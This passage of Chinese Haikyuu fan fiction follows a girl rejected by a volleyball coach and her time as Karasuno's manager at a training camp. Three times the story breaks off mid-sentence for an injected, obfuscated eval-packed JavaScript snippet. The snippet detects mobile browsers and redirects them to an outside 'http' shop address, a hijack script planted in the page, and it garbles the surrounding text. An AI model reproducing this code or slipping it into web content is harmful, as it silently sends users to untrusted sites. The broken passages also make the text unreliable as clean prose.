签字笔在空白页上写下了雪村夜芙的名字，但雪村却迟迟没有开口。 宫下由纪看了她一眼。 雪村夜芙已经明白了宫下教练的用意——说别的都没有用，宫下想要的只有证明。 证明她拥有能够成为井闼山主攻手的实力。 但是…… 迟疑了一会儿后，雪村夜芙无比艰难地开口，“宫城，北川第一中学。” “历史最高比赛成绩是……” 初中三年，她根本没有成绩可言。 听到雪村的回答，宫下由纪拿着笔的手顿了顿，然后将笔放下，目光从纸页移到了面前的少女身上。 北川第一中学，这所学校宫下从未在初中部的全国比赛中见到过。 而看着雪村无法说出口的比赛成绩，宫下心里就已经明白了。 “可以了，”宫下合上了笔记本说着，“感谢你想要加入排球部。” 听到这样的话，雪村夜芙心里一阵慌乱，但还想要试图争取。 “我练习了三年的时间……我的意思是……如果身为主攻手我还不够资格，我也可以补其他的位置——” “时间到了。”宫下由纪把秒表上的计时给她看，语气平静地说着：“你也确实浪费了我两分钟时间。” “而且，井闼山从不缺替补。” 所以补位什么的，也根本没有这个必要。 “……”明明是春日，可是这样毫不留情的话听在耳中，雪村夜芙只觉得整个人落入冰窟。 咬了咬唇，她还是抬头勉强朝着宫下笑了笑，说着：“我会努力的。” 深深看了一眼面前的少女，宫下由纪不再说什么地转身离开。 目送着宫下由纪走进体育馆，雪村夜芙难得有些失落，在原地一个人沉默着站了许久。 体育馆里时不时传来球落到地上的声音，但她却觉得寂静。 最后朝着井闼山女排练习的地方看了一眼，雪村夜芙转身朝着另一座体育馆而去。 她的确没有过去的荣誉作为实力的证明。 但总会有办法的——她一定会证明自己，然后站到那个排球场上去的。 女排训练的体育馆内，宫下由纪隔着单向玻璃看着雪村夜芙走远。 “这么吓唬那孩子，你也不怕她不敢报排球部了？”说话的是伊藤相二，井闼山女子排球部的助理教练之一。 他在门口目睹了整个过程，对于宫下的严苛也有些无奈。 “应该不会，心性看着还不错。” 宫下由纪的目光跟着雪村夜芙的背影移动，“如果这样就害怕了，那就说明她确实不适合。” “……” 男排训练的四号体育馆外，穿着浅色运动服的红发少女独自一人做着摸高练习。 要是走近一点，还能听到她碎碎念的声音。 “历史成绩是吧——” “啪”的一声，雪村夜芙助跑起跳，一巴掌拍在了体育馆侧门边的墙上，嘴里忍不住抱怨。 “感谢加入是吧——” 再次起跳，她纤长的手指努力地去够新的高度。 “不缺替补是吧——” 雪村夜芙尤其暴躁地念叨着这一句，手心也在一次次的用力拍击之下微微发红。 她好不甘心。 宫下教练说的那些话，一字一句在耳畔回响着，雪村夜芙根本没有办法说服自己不去在意。 再一次起跳，雪村夜芙很努力地想让自己的摸高再往上哪怕一公分—— 结果下一秒，一道阴影从她背后压了上来。 那个带来阴影的人，在雪村夜芙指尖触墙位置的上方落下了他的手掌。 在雪村指尖的上方，大约六十公分高的地方。 也就是说，那个人的摸高……比她高了整整六十公分。 雪村夜芙一下子呆住了。 不管是谁……所以刚才是直接跳到她头上了是吗？！ 雪村夜芙不可思议地落地转身，看见一个头发像白色的羽毛球一样的男孩子。 他身上穿着的是鸥台的队服。 但是这个不重要，跳到她头上六十公分高的地方什么的，简直就是在嘲笑她啊。 还是在她刚被教练拒绝的这种时候！ 这个人到底在做什么啊？！ 雪村夜芙咬唇，心情很差地瞪他。 “你在做什么？”没想到面前的羽毛球歪了歪头，先出声问了雪村这样的话，“这堵墙是和你有仇吗？” 星海光来刚刚做完一组训练，喝水休息的时候就注意到了侧门外跳上跳下的雪村夜芙。 他的目光不由地落在了她身上，然后漫不经心地想着—— 好像是在摸高训练。 但是揍这堵墙的手劲是不是有点太大了？ ……比他矮？ 在发现了最后这一点后，星海光来就对雪村夜芙很好奇了，于是才有了刚才这样的举动。 雪村忍住了情绪，回答这个没礼貌的羽毛球的问话：“……在摸高。” “哦，这样啊。”星海光来理所当然地接话，“好矮。” 跳得好矮，这样也算摸高吗？ 说完，星海光来这次直接原地起跳，在甚至没有助跑的情况下，再次在墙上留下了他可怕的摸高数据。 毫不意外的，这次也比雪村助跑起跳的摸高还要多出一截。 雪村夜芙的情绪已经快要控制不住了，眼睛亮亮的全是怒气，只剩下一点点理智来保持仅剩的礼貌。 “……厉害。” 所以知道你摸很高很厉害了能不能快走？ “还好吧，毕竟我也比你高一点。你应该没有一米七吧？” 星海光来最近刚刚长到了差不多这个高度。 “……”雪村夜芙被气笑了。 这群就知道打排球的笨蛋！ 指望他们搞清楚状况看懂眼色真是有够费劲！ 于是雪村夜芙准备反击。 “不巧，我最近刚好有到这个身高哦，前辈。” 脸上挂起虚假的笑意，雪村说着，“当然如果前辈的身高算上了头发的话，那我确实比不过呢。” 星海光来不由地皱了皱眉。 这个女孩子听起来说话很温柔，但是总感觉好像哪里不对…… “如果要跳得更高的话，”星海光来双手环臂地看着她，决定换一个话题，“你确定已经把所有力气都放在应该发力的肌肉上了吗？” 雪村夜芙愣了一愣，星海光来这种指导的话一说出口，她的怒气瞬间就消散了。 像一只忽然被捏扁的充气河豚。 “我应该……怎么做？”雪村忍不住问他。 星海光来扬起下巴看了雪村夜芙一眼，眼里满是自负。 “呐，看好了——不是我的高度，而是腿部发力的位置！” 雪村夜芙点头，看着面前的羽毛球少年再次在她面前起跳。 但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13047919|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次是不讨人厌的起跳。 快速助跑、微微屈膝—— 而在他起跳的那瞬间，雪村仿佛感觉到了那股向着地面施加的力度。 那样的力度是沉重而巨大的，所以才能撑起那样的跳跃高度。 雪村观察完他起跳的姿势然后抬头去看。 果然，他的指尖再次碰到了那个常人无法触及的高度。 三米四……甚至三米五吗？ 而她上一次的测试成绩只有二米八——差得的确太多了，在两个人身高相差无几的前提之下。 “哈！满分！” 星海光来屈膝落地卸力缓冲，这时候的他轻巧得仿佛真的是一颗羽毛球。 他也对自己刚才的表现相当满意，心想着说不定又超过之前的记录了。 扭过头去看雪村夜芙，看到她睁大的双眼和忍不住思考的神情，星海光来嘴角微微勾起。 这样才对嘛，这样的反应！ 星海光来正要开口再说些什么，鸥台队内的训练又开始了，有队员冲着这边喊他。 “喂，星海，要继续练习了——” 星海光来应了一声，往体育馆内走去的时候，还是忍不住回头看了一眼雪村。 雪村夜芙脸上那种不敢相信的表情，他完全看不够嘛。 而这一边，脑子里不断回放着星海光来刚才的动作，雪村很努力地去记。 看他准备离开，这次雪村的笑意变得真挚了几分。 “那个……星海前辈。” “嗯？” “真的很厉害……谢谢。” “哼。” 星海光来心情很好地回去继续队内训练。 雪村夜芙又在体育馆外独自练习了一会儿，让自己的身体尽量记住星海起跳的那种感觉，然后赶在乌野的大家训练完之前回到了他们的球场边。 排球场上，乌野刚刚结束了一轮队内训练，雪村夜芙和谷地仁花一起给大家分发着毛巾。 影山飞雄走到雪村夜芙身边，拿走她手里倒数第二块毛巾，然后乖巧地坐到她身边不远处喝水休息。 雪村夜芙手里还多出来了一块毛巾。 她看了看球场上，发现是月岛萤累到独自靠在另一边的墙上休息，看样子是一步都不想再动了。 雪村小跑着把毛巾替他送过去。 月岛的“谢谢”还没说出口，球场的另一侧就传来了影山飞雄有些无理的声音。 “喂月岛——毛巾什么的就不会自己过来拿吗？！” 影山飞雄很在意雪村夜芙忽然的跑开，于是把责任都丢到了月岛身上。 他本来还可以继续留在雪村身边喝水顺便和她讲话啊，要不是月岛这小子…… “啧。”月岛萤从雪村手里接过毛巾，一句话都懒得和影山飞雄那种白痴讲。 “……”雪村回头瞪了影山飞雄一眼，却在这时候忽然听到了不久前的那个声音。 “原来你是乌野的经理？” 她转身看过去，没有猜错，果然是那个羽毛——啊不对，应该是星海前辈。 “前辈。”雪村夜芙认真这么称呼着他。 影山飞雄这时候也刚好走到了这边。 星海光来轻轻应了一声，看了眼雪村夜芙后，忽然转向影山飞雄，指着他说：“明天的训练赛，我要再赢你一次。” 不久前的春高四分之一决赛，乌野就是输给了他们。 星海光来刚刚确认过日程表，合宿训练的第一天，鸥台的对手也正是乌野。 影山飞雄皱眉，还没开口又被星海打断。 “对了，是要打满十场。” 他的目光从影山那边落回到雪村夜芙身上：“那我就赢十场给你看。” 那种对他惊讶的表情，星海想在雪村夜芙的脸上再次看到。 而影山飞雄紧抿着嘴，眼里满是不服。 只有月岛萤头痛扶额。 所以为什么非要在他休息的地方闹这种动静……？ 24.训练赛开始 第二天早上。 井闼山学院的早餐都有专门的营养师搭配。甚至为了配合不同社团活动的学生需求，所提供的食物也有略微的不同。 领到专属于排球部的早餐，雪村夜芙找了靠窗的位置坐下，冲着还在排队的谷地仁花挥了挥手，示意她自己坐在这边。 谷地比了一个ok的手势。 然后雪村开始看着面前的食物发愁。 量好多…… 而且，为什么一大早要给他们喂这么多的胡萝卜，她不喜欢吃胡萝卜。 雪村夜芙用叉子把胡萝卜一片一片叉出去放到盘子的另一边。 影山飞雄端着自己的食物在她对面坐下的时候，雪村盘子里的胡萝卜还没有拣完。 刚起床不久，影山睡得乱七八糟的头发还没有完全顺下去，就这样没什么形象地一边看着雪村挑胡萝卜，一边挖了一大勺蝴蝶面，把腮帮子塞得鼓鼓的。 啊，奶油和番茄沙司的完美搭配。 好好吃。 影山飞雄又挖了一大勺，然后眼睛看向了雪村夜芙拣到一边的胡萝卜片。 雪村挑食这种事，影山很早就知道了。 明明他觉得大部分食物都很好吃，而对雪村来说好像大部分食物都很难吃。 之前也没什么，但是到这边以后……有一个噩耗。 井闼山学院对学生各方面的要求都很严格，包括饮食。 可以自己选择多加餐，但是规定好份量的食物不吃完的话，好像是会被训的。 “真的不吃胡萝卜吗？”影山飞雄问道，他担心雪村会挨骂。 雪村夜芙眉头皱到了一起，她也知道会被训，但还是很坚决的摇头，“不吃。” 胡萝卜已经全都拣完了，让她吃一两片还好，但是这里面足足有一整根胡萝卜的量吧。 她又不是兔子！ “哦。”影山飞雄干巴巴地应了声，然后伸手把雪村不要的胡萝卜片全都拨进了自己的盘子里。 他很早之前就想这么做了，感觉好浪费。 但是之前一直没找到借口。 雪村夜芙一瞬间有些脸热，放下手中的叉子压着声音凶他：“影山飞雄！” 影山飞雄一口气叉起三片胡萝卜，有些疑惑地说着：“你不是不要吗？” “而且不吃完会被骂的。” “我不吃但是——” 这种事他们两个人的时候也就算了，但是现在在这种地方啊！ 影山飞雄这个搞不清楚状况的笨蛋！ 果然，谷地仁花刚刚取完食物想要过来找雪村夜芙一起吃饭，结果就看到了这一幕。 她端着盘子双目失神地快速后撤步。 什么……她发现了什么…… 她是不是要被影山同学灭口了？！ “算了。”看着影山迷茫的眼神，雪村夜芙泄气地放弃和他讲清楚这件事。 余光扫到了默默离开的谷地仁花，雪村也只好假装没有看见，想着晚点要怎么和她解释。 不过好在确实没有被营养师抓到训话了。 四号体育馆。 今天乌野一整天的训练赛对手就是鸥台。 上午九点，所有球队都已经完成了队内训练和热身，即将和各自的对手展开合宿以来的第一场比赛。 而到了球场上的影山飞雄，刚才在雪村面前表现出来的笨蛋气质已经完全消失，取而代之的是高速运转的大脑，在确认对方阵容的同时不断分析和思考，努力寻找着制胜策略。 他一定要赢。 昨天星海在雪村面前说什么要赢他十场这种话，影山飞雄一直都很在意。 他不要再输给鸥台，更不要在雪村面前真的输给星海前辈。 深吸一口气，影山飞雄百分百集中注意力。 比赛开始了。 因为三年级的正选毕业离队，双方的队伍比起不久前的春高都发生了一些微妙的变化。 乌野少了一名强力的主攻和稳定的一传，双二传的战术也需要调整。鸥台那边也出现了很多团队之间的配合失误。 输赢在一时之间很难说。 而集中了全部注意力的影山飞雄，做出的每一次判断，发动的每一次进攻都极具威胁。 现在对方站位集中在左部，所以日向的右半场快攻会奏效。他这么想着，远距离二传将球给到日向。 “救球！”鸥台这边的拦网果然没有来得及堵上右场的快攻，星海光来被迫去接一传。 而接下这个一传，意味着他很可能来不及参与接下去的进攻。 果然，鸥台在被打乱之后的进攻被轻易拦网。 乌野得分。 雪村夜芙在球场边上，认认真真看着观察着局势，越看越惊叹于影山在排球上的天赋。 刚才那一分，第一球的进攻锋利无比，毁掉了鸥台发起强力进攻可能的同时，也打乱了他们的节奏。 然后在第二球再次拿到机会，以一个漂亮的背传让田中前辈在另一个鸥台顾及不到的位置进行扣杀。 在瞬间做出的判断，观察和利用到的信息量却很大。 雪村夜芙在自己的笔记上记了几笔，又忍不住把写完后影山的名字圈了出来。 真是把所有脑子都用到了排球身上的笨蛋。 星海光来看了影山一眼，总觉得这小子的状态有些好过头。作为应对，他也拿出了更高的专注力，势必要做到自己昨天说过赢十场这种话。 总之一定要赢得好看，然后去那个女孩子面前看她吓到的反应。 第一场比赛，乌野和鸥台都打得相当激烈，在旁边两组队伍都进入了第二场比赛的时候，他们的第一场还没有结束，比分来到了 27：28。 乌野对着鸥台紧追不放。 作为目前阶段最强有力的进攻方式，日向被影山的托球满场遛着跑。 但是并不是每一次快攻都能完美配合上。 此时此刻，日向起跳的时候才发现影山的球没在眼前停下来，而是远了刚好一个身位。 他勉强击球，但是落点还是和预想的有偏差，被轻易接住了。 而因为这一分，第一场比赛，乌野输给了鸥台。 影山飞雄臭着一张脸冲着日向走过去：“喂——” 日向慌忙逃离球场。 影山肯定又要薅他的脑袋！ 比赛间隙，雪村和谷地两人开始给大家分发毛巾和水，鉴于这场比赛打得很激烈，又把事先准备好的香蕉和能量果冻分给大家。 于是就出现了啃着香蕉的影山飞雄挥舞着一只手追着同样抱着香蕉在啃的日向跑的场面。 到最后，日向翔阳躲到了雪村夜芙的身后，影山才终于收敛了一点。 “我怎么知道你和我想的不一样啊！”日向从雪村身后探出头，又狠狠嗷呜了一口香蕉，含糊不清地说着：“我以为你的球会停下来啊，为什么没停？！” “哈？明明再往那边五十公分才是最好的位置啊！” 影山试图去薅日向的橘毛，日向又火速蹲到了雪村身后。 “笨蛋啊你！” “好了啊不要闹了啊，”雪村夜芙皱着眉头说着，“影山你干什么对日向那么凶嘛！明明是队友啊！” 还好日向的属性是阳光小狗，但凡稍微不那么开朗一点，影山飞雄那个笨蛋干脆一个人去传球击球好了啊。 “就是！好凶啊！” 日向忽然发现了拿捏影山飞雄的办法，手指搭在雪村的肩上，他忍不住告状：“雪村学妹你看他！！” 影山飞雄炸毛，“把你的脏手从那里拿开啊笨蛋日向——” 雪村夜芙这下真的生气了，“影——山——飞——雄！！” “你给我好好和日向讲话啊！” 一口一个笨蛋是什么好话吗？！ 不仅是正在休息中的乌野和鸥台，其他刚好在比赛间隙的队员都纷纷看了过来—— 围观那个传说中乌野的天才二传，在他们新的经理面前低头挨训。 “本来那个球是可以拿分的……”影山飞雄在雪村面前有些委屈地说着。 他真的很想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062521|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赢啊，如果那个球得分了的话，说不定就可以赢啊。 “配合失误不是很正常吗？”雪村夜芙说着，“换句话说，你好好和日向沟通啊，下次说不定就能避免这种失误了啊！干嘛那么大声啊！” “就是啊就是啊！”日向翔阳超级配合。 他本来都要习惯影山的黑脸了，等到雪村说出来才发觉自己居然被迫害这么久！ “以后都不许骂我是笨蛋啊，笨蛋影山！！” “哈？！” “吃完东西休息好了就过来集合啊你们这群臭小子……”乌养教练冲他们喊着。 整个队内叽叽喳喳的，他真是要被吵死了，毕竟很会劝架的三年级组都不在了。 “……” 接下去几场比赛，乌野和鸥台依然维持着高强度的对攻，各有输赢。 只不过乌野这边画风清奇。 “日向笨蛋——” “影山飞雄——” 每次影山对日向凶巴巴地讲话，就会收获一只对他凶巴巴讲话的雪村夜芙。 “喂，那边是怎么一回事啊？” “你说乌野啊，哈哈我也发现了。” “一直在被女孩子警告什么的也太好笑了……” 井闼山学院今天的对手是擅长发球得分的生川高校。 上午的比赛打完三局，他们拿到了两局的胜利，而在比赛间隙当中，乌野那边的动静也终于传了过来。 井闼山的几名队员坐在一起休息，顺便好奇地看乌野二传被训。 “要是我们也有这样的经理就好了啊……” “喂——小声点。” “啊？哦哦。” 他们都小心翼翼向着独自坐在另一边休息的少年看了过去，不确定他有没有听到刚才的对话。 那个少年独自一人坐在远离队友的另一边，神色冷淡地仰头喝水。 他的额头上绑着深蓝色吸汗带，狭长的眼角微微向上，瞳孔和发色都是深灰。 背号为7，从一年级开始就担任井闼山正选二传的浦野和希。 和乌野二传的差劲态度比起来，井闼山的队员一致觉得还是他们二传的冷脸更加可怕。 很难想象浦野和希被那样管教的样子…… 总之，乌野的那个经理真的好厉害啊。 哨声吹响，井闼山和生川的第四场又要开始了。 浦野和希放下手中的水壶，从刚才聊天的那些队友身后经过，冷冷地开口说着：“与其有空指望谁能来管教我，不如好好磨一磨自己的球技。” “我只不过是讨厌无能的人而已。” “……” 生川的发球相当难对付，所有接过他们发球的球队都领教过。 而这场井闼山和生川的第四场比赛中，在井闼山一开始领先5分的情况下，生川拿到一球，然后硬是靠着发球连拿3分，几乎就要追平比分。 生川准备第四次发球的时候，浦野和希的神情已经变得很冷。 他忽然头也不回地说道：“如果接不到球的话，下场就好了。” “反正留在场上也没有意义不是吗？” 这会儿在场上的井闼山的自由人愣了愣，忍不住用力咬了咬唇。 有古森前辈在，他在一年级的时候一直都是替补。而这次合宿他好不容易拿到了几场训练赛的首发。 如果他的表现不够好，或者等到入学的新生里有更值得培养的自由人，那就算古森前辈毕业，他也没办法在三年级的时候成为正选了。 哨声响起，生川再次打出了一个漂亮的发球。 而面临着巨大心理压力的井闼山这边的自由人，这一颗球他也完全没有接起来。 浦野和希冷着脸看向后场，“所以你接不到球的话——” 接不到球的话倒是下场换古森前辈上来啊。 井闼山的教练忍不住皱眉，开口打断了他：“浦野！” 浦野和希毫不犹豫反驳，“我说错了吗？对比赛有帮助的人才配留下。” 井闼山队内的气氛几乎凝滞。 25.合宿夜 上午和鸥台的比赛以3：2 结束，乌野在连输两场以后，用后三场彻底赢了回来。 等到这五场比赛全都比完的时候，整个四号体育馆只剩下他们两支球队。 让鸥台打得这么吃力，时隔几年再次杀入春高的乌野，很快就会变成别的球队眼中那个“难缠的家伙”。 适应和反应速度都强得可怕的那种家伙。 而在星海光来抓着网又打算说些什么“一定会让你露出那种表情”之类的中二话之前，雪村夜芙很有先见之明地把日向翔阳召唤了过来。 雪村在他耳边说了一句什么，日向就高高兴兴地冲着星海跑了过去：“喂，星海前辈——” “这一场的‘小巨人’总该是我了吧？！” “什么？！”星海光来拿圆圆的眼睛瞪他，两个人吵吵闹闹地争了会儿，最后演变成了谁先到餐厅谁就是小巨人这种幼稚的游戏。 又转身把想要帮她一起整理毛巾的影山飞雄往外推，雪村夜芙催促他：“都十二点多了啊快去吃饭啊……要不然休息不够下午的比赛怎么打嘛！” “……” “才不要你帮忙，都你来做的话那这个经理我给你当好了啊。” 影山飞雄也被她赶走了。 谷地仁花去领取下午要用的补给，球场这边的事情就暂时交给雪村来负责了。 经理什么的，没想到也没那么简单呢。 雪村夜芙身边终于清静了几分钟，空旷而安静的体育馆里只剩下她一人。 然而没过多久，一颗排球忽然被人用力打了过来，而落点正是雪村夜芙在的位置附近。 排球从雪村背后飞过来，又擦着她的脸颊落下。 球势带来的劲风在瞬间扬起她一侧的碎发，最后落在了刚被摆放在一起的水壶上。 地上的水壶像是保龄球的瓶子，被砸后乱七八糟地倒了一地。 雪村夜芙收拾毛巾的手顿了顿，盯着地上的水壶看了两秒钟，然后转身抿着唇往排球飞过来的方向看去。 那双深灰色的眼睛也看向了她，甚至带着审视的意味。 浦野和希忽然觉得好笑，就是这样一个看上去完全没有任何杀伤力的女孩子，也能管教他吗？ 不过是被排球砸一下都会哭出来的那种女生而已。 雪村夜芙看到面前的人，完完全全察觉到了他的恶意，却不明白是为什么。 深蓝色的汗带，灰色的瞳孔，青黄色的队服。 ……像只咬一口就会酸掉牙的青芒果。 雪村夜芙忽然就不想和这种排球白痴计较了。 不再对他施以任何目光，雪村只是走过去弯腰收拾乱掉的水壶，把它们重新摆放整齐。 浦野和希等了一会儿，才发现自己居然被无视了，反而不知道接下去该怎么办了。 他明明做了这种事……所以为什么不来教训他？ 至少也该质问他一下，不是吗？ “你是乌野的经理。”浦野和希只好先开口说话。 “……嗯。” “……” 浦野和希总算发现了雪村根本没想和他搭话，忽然有点不爽。 不是对着乌野那个二传很会说教吗？换成他就不会说话了吗？ “那还真是太可惜了。”他故意这么说着。 雪村夜芙收拾烂摊子的手再次顿住了。 ……可惜？ 可惜什么？ 因为她是乌野的经理，所以可惜？ 她站了起来。 浦野和希看着雪村继续说：“在一支没有夺冠可能的队伍里——” “会打败你的。”雪村夜芙打断他。 转过了身，雪村夜芙认真地看着他的眼睛说着，“会打败你的，在正式的比赛上。” “乌野会是冠军。” 她确实这么相信。影山飞雄，还有乌野的大家，一定会有在全国比赛中拿到冠军的一天。 然后让所有质疑他们的人都无话可说。 成为乌野的经理，也不是什么需要被人觉得可惜的事情。 浦野和希双手不自觉握紧，最后看了她一眼，然后转身离开。 看他走了，雪村夜芙松了一口气，虽然不知道为什么，总感觉乌野的大家很受关注啊。 怎么一个两个全都跑来挑衅。 鸥台也是，井闼山也是。 对了，明天的对手是谁来着？ 好像是叫……音驹？ 下午的比赛，鸥台的教练更换了场上的队员，更加凌冽的发球以及更好的保护，相比之下，乌野的整体实力就弱了许多。 下午的比赛以 2:3结束，乌野输给了鸥台，总体比分 5:5 平手。 下午的输球，让影山飞雄忍不住低头难受，结果被雪村一巴掌拍在了背上。 “吃！”雪村夜芙坐到他身边，往影山飞雄手里塞了一个能量果冻。 影山飞雄愣了愣，然后乖乖撕开包装开始吃东西。 “又没有输，有什么好沮丧的。”雪村夜芙也给自己拆了一只果冻塞到嘴里，含含糊糊说着：“反正总有一天，你会成为全国比赛中的冠军的啊，迟早的事情嘛。” 不行也得行，雪村心想着，她的大话都已经说出去了啊，对着那个井闼山的二传说的。 结果整整一下午，她都注意到了那个人时不时看过来的目光。 现在也是。 “影山飞雄……” “嗯？”正在吃东西的影山忽然被叫全名，有些紧张地看向了雪村夜芙。 明明他下午已经很少再骂日向是笨蛋了！ 雪村夜芙被他呆呆的样子逗笑，歪了歪头说着：“只要你答应以后都不骂日向是笨蛋的话——我就承认你是这里最厉害的二传！” 影山飞雄想了想，有些倔强地说着：“我本来就是啊……” 他的嘴角微微勾起。 浦野和希站在不远处，听着他们的对话，神色晦暗不明。 他似乎有些困惑，但更多的却是……嫉妒。 正如雪村夜芙猜想的那样，音驹那群人也在第一天的训练赛结束以后跑到了乌野这边的球场边。 好多人，所以是来宣战的吧？ 结果那个眼睛很像猫猫的布丁头跑来问翔阳，晚上洗完澡以后要不要去他那边一起玩游戏机。 雪村夜芙：……诶？ 一听到有游戏可以玩，乌野的大家都纷纷表示想要加入，孤爪研磨和日向翔阳两个人的约定，忽然之间变成了两支队伍之间的集体活动。 看着一旁热络的气氛，雪村夜芙推了推影山飞雄，“快点，说你也要去啦。” 影山撇了撇嘴，想说不要，看见雪村不赞同的眼神只好改口。 “那个……我也一起去。”影山飞雄干巴巴地举手。 日向眼睛亮了亮，“那干脆玩桌游怎么样怎么样！输了的人有惩罚！” “等着吧，我很擅长那个的！”日向打算好好整一顿影山。 影山飞雄完成了雪村的交代，扭头继续吸果冻，但忽然又问起：“你也会去吗？” “哈？拜托是男生寝室啊我怎么去！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079405|137059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “哦……”那早知道他就不答应下来了啊。 晚上，热闹的音驹宿舍。 孤爪研磨被一群脑袋淹没在角落里，七八双眼睛围观他打关卡boss。 而另一边，影山和其他人一起在玩AM-go，一种可以让很多人参与其中的桌游。 明明游戏刚开始没多久，影山已经在里面输了好几回，接受了三次大冒险的惩罚了，包括 20个俯卧撑，倒立绕场一周什么的。 然后下一刻，日向又拿到决策卡，想也不想又把影山踢出局。 “哈哈哈哈影山！你又输掉了！” 影山飞雄打了个哈欠，爬了起来：“我要回去睡觉。” “等下！还有惩罚！” 列夫伸长了脖子凑过来，“不要想逃啊！” 列夫心里想着，这家伙上次春高的时候也发挥得那么好，结果害他输掉了。 他很擅长记仇的啊。 “但是一直大冒险也不好玩啊。”福永凑了过来，手里拿着两张手卡。 “抽到黑卡就大冒险，红卡就必须回答一个问题好了——” “肯定有趣很多！” ……抽到了红卡。 影山飞雄看着面前的卡想了想，完全想不到有什么不能回答的。 “啊啊啊红卡！” “快想想问什么啊！” “那肯定问那个啊——” “影山你有没有暗恋的女生！是谁！！”每个高中生都逃不过的八卦问题。 整个音驹宿舍都安静了下来，连研磨都暂停了游戏，竖起耳朵想听答案。 像影山飞雄这种眼里只有排球的笨蛋，真的会有暗恋的女生吗？ 会是什么样的啊，难道要长得和排球很像吗？ 影山飞雄皱眉，下意识想说没有，毕竟他最爱的就是排球了。 但是“没有”的话刚要说出口，忽然又感觉不太对…… 但他，说不上来为什么。 “啊！不否认哎居然真的有吗？不是排球吗？” “快说啊快说！” 影山飞雄落荒而逃。 音驹的临时宿舍和乌野的临时宿舍并不在一栋楼，而是隔着一条小路。 3号宿舍楼，排球部的大家住在一楼，而雪村和谷地住在二楼。 影山飞雄在回去的路上，一抬头就看到了站在阳台上的雪村夜芙。 她穿着睡裙背靠着栏杆，试着让夜风把还带着潮意的头发吹干，手里则捧着书借着室内的光在读。 影山飞雄不由停下了脚步，忽然又想到了刚才那个害他逃跑的问题。 暗、暗恋……什么的？ 如果真的暗恋什么人的话，好像他没有什么别的选择？ 影山仰着头看她，直到雪村转过身来。 “……影山？”雪村夜芙叫他，“为什么站在那里？” 影山飞雄一时之间有些手足无措，强行镇定下来，大脑却已经转不动了。 “我……我站在这里是因为……” “嗯？” “是想来问你，”影山飞雄满脑子找借口，终于抓住了一条看似合理的话，“你要我……给你托球吗？” 雪村夜芙疑惑地看了看满天的繁星，问他：“……现在吗？” 影山飞雄胡乱地点了点头。 雪村夜芙一下子笑了出来。 “嗯……那等我一下吧。” 就算是晚上九点，就算已经洗漱完毕——但如果影山飞雄说要给她托球的话，雪村夜芙完全不会想拒绝。 26.最后的训练赛 和音驹的比赛以6胜4败结束，乌野虽然赢了，但是那个叫孤爪研磨的二传，是雪村见过最会攻心的二传了。 影山的心计在他面前也显得有些不够看了，假动作什么的也远远没有对方做得那么天衣无缝。 她忍不住想着，如果影山保留着绝佳技术的同时，拥有孤爪那种绝对缜密的心计——这样的话，会成为所有对手的噩梦吧。 这些人真的都是……怪物一样的存在啊。 相比起来，她拥有的武器还是太少，得很努力地去学才行。 用笔记录下许许多多过去不曾想过的战术和策略，雪村夜芙也期待着自己有能够用上这些的那一天。 等到合宿接近尾声的时候，雪村夜芙的笔记本已经写完了将近三分之二。 而乌野的比分并不都很好看，但是即便在最开始被完全打到溃败，在一天当中的最后几场，乌野都表现出了令人意外的顽强。 适应了对手的风格之后，生命力顽强又喜爱杂食的乌鸦终将给出不俗的回敬。 而最后之战也即将到来。 乌野和井闼山的比赛，在合宿的最后第二天。 全国排名前三的主攻手，甚至是攻手中唯一的二年级，佐久早圣臣。 同样入选了青训，接球能力一流的自由人古森元也。 还有一入学就成为了正选，傲慢又冷漠的天才二传，浦野和希。 而井闼山其他的正选也都是万里挑一的优异选手。 面对这样的阵容，乌野再严阵以待也不为过。 这次的春日合宿，他们遇到的对手比过去任何时候遇到的对手都更加强大，赢下的比赛也比他们过去所有比赛都赢得更加得困难。 但相应的，他们也学到了无比珍贵的技能和经验。 “别还没开始就这么严肃嘛，”说这话的乌养教练自己都想点根烟冷静一下，“反正不是告诉过你们吗？大家都只是，啊……同龄人而已。” “总之放心大胆去打，先不用考虑输赢，痛痛快快打一场再说。” “是！”乌野的大家这么喊着，而影山飞雄也在其中，并把目光落到了对面的二传身上。 在比赛之前，他们还遇见过一次。 但是第一次见到浦野和希的时候，影山飞雄总有一种……说不出的奇怪。 两个小时前的餐厅。 今天的早餐里，雪村夜芙讨厌的食物是花椰菜。 今天的受害者之一是山口忠。 山口忠一边努力想把不小心呛到气管的食物咽下去，一边赶紧拿起餐盘换了一个位置，顺便把刚要坐下的月岛萤拉走。 谷地仁花向着山口忠投去了同情的目光。自从第一天之后，她再也没有试图坐到雪村身边了。 她还想活久一点，不想被灭口…… 